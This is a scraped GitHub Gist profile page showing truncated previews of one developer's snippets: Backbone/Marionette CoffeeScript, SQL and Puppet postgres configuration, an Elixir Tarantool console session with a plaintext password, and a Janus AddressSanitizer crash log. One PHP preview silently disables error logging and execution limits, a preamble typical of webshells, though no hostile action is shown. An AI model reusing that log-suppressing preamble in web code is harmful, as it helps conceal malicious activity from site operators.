Skip to content

Instantly share code, notes, and snippets.

View spscream's full-sized avatar

Alexander Malaev spscream

View GitHub Profile
define ['backbone', 'marionette', 'config/backbone/auth'], (Backbone, Marionette, Auth) ->
App = new Marionette.Application
App.auth = new Auth
App.auth.login
email: 'email@example.org'
password: 'password'
App.auth.on 'logged_in', ->
define ['backbone', 'marionette'], (Backbone, Marionette) ->
App = new Marionette.Application
App.on 'start', ->
App.vent.on 'auth:login', ->
console.log "Login"
App.vent.on 'auth:logout', ->
console.log "logout"
@Onespend.module 'Behaviors', (Behaviors, App, Backbone, Marionette, $, _) ->
Behaviors.Dropdown = Marionette.Behavior.extend
initialize: ->
@dropdownShowed = false
ui:
'dropdown': '.js-dropdown'
'header': '.js-header'
Model (call 'Model.connection' to establish a connection)
unknown OID 24: failed to recognize type of 'typinput'. It will be treated as String.
unknown OID 194: failed to recognize type of 'typdefaultbin'. It will be treated as String.
unknown OID 1034: failed to recognize type of 'typacl'. It will be treated as String.
Model(typname: string, typnamespace: integer, typowner: integer, typlen: integer, typbyval: boolean, typtype: string, typcategory: string, typispreferred: boolean, typisdefined: boolean, typdelim: string, typrelid: integer, typelem: integer, typarray: integer, typinput: , typoutput: , typreceive: , typsend: , typmodin: , typmodout: , typanalyze: , typalign: string, typstorage: string, typnotnull: boolean, typbasetype: integer, typtypmod: integer, typndims: integer, typcollation: integer, typdefaultbin: , typdefault: text, typacl: )
initial state:
reserved: {#<Thread:0x007f81f18cb7c8 run>=>70098044115400}
non_leaker:
SELECT
'actualizator' AS comment_type,
wo.ID AS workorder_id,
comments.ID AS id,
comments.Comments AS comment,
comments.Date AS DATE,
author.ID AS author_id,
author.FullName AS author_fullname
FROM WorkOrderActualizatorComments AS comments
INNER JOIN WorkOrderActualizator AS actualizator ON comments.WorkOrderActualizatorId = actualizator.Id
class profile::postgres {
class { 'postgresql::server':
ip_mask_deny_postgres_user => '0.0.0.0/32',
ip_mask_allow_all_users => '192.168.3.0/24',
listen_addresses => '*',
}
$databases = hiera_hash('postgresql_databases', {})
$roles = hiera_hash('postgresl_roles', {})
$database_grants = hiera_hash('postgresql_database_grants', {})
iex(1)> {:ok, t} = Tarantool.start_link
{:ok, #PID<0.149.0>}
iex(2)> Tarantool.ping(t)
{:ok, %{0 => 0, 1 => 0, 5 => 53}, %{}}
(search)`sel': Tarantool.select(t, %{space_id: 280, limit: 100, key: []})
{:ok, %{0 => 32823, 1 => 1, 5 => 53},
%{49 => "Read access is denied for user 'guest' to space '_space'"}}
(search)`aut': Tarantool.auth(t, %{username: "amalaev", password: "111222"})
{:ok, %{0 => 0, 1 => 2, 5 => 53}, %{}}
(search)`sele': Tarantool.select(t, %{space_id: 280, limit: 100, key: []})
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if(!defined("PHP_EOL"))
{
define("PHP_EOL", "\n");
есть:
s1e1 1
s1e2 1
s1e3 1
s2e1 2
s2e2 2
s2e3 2
s2e4 2
надо:
@spscream
spscream / crash.log
Created January 24, 2023 15:41
janus segmentation fault output
=================================================================
==1==ERROR: AddressSanitizer: heap-use-after-free on address 0x6070006f7e70 at pc 0x7fc3ce6eafa8 bp 0x7fc380c63bc0 sp 0x7fc380c63bb8
WRITE of size 4 at 0x6070006f7e70 thread T269 (hloop 125040446)
#0 0x7fc3ce6eafa7 in janus_videoroom_hangup_media_internal plugins/janus_videoroom.c:8912
#1 0x7fc3ce6ef5d3 in janus_videoroom_hangup_media plugins/janus_videoroom.c:8871
#2 0x560af99bdfab in janus_ice_outgoing_traffic_handle /build/janus-gateway/src/ice.c:4440
#3 0x560af99c8f36 in janus_ice_outgoing_traffic_dispatch /build/janus-gateway/src/ice.c:495
#4 0x7fc3d536ce6a in g_main_context_dispatch (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x51e6a)
#5 0x7fc3d536d117 (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x52117)
#6 0x7fc3d536d40a in g_main_loop_run (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5240a)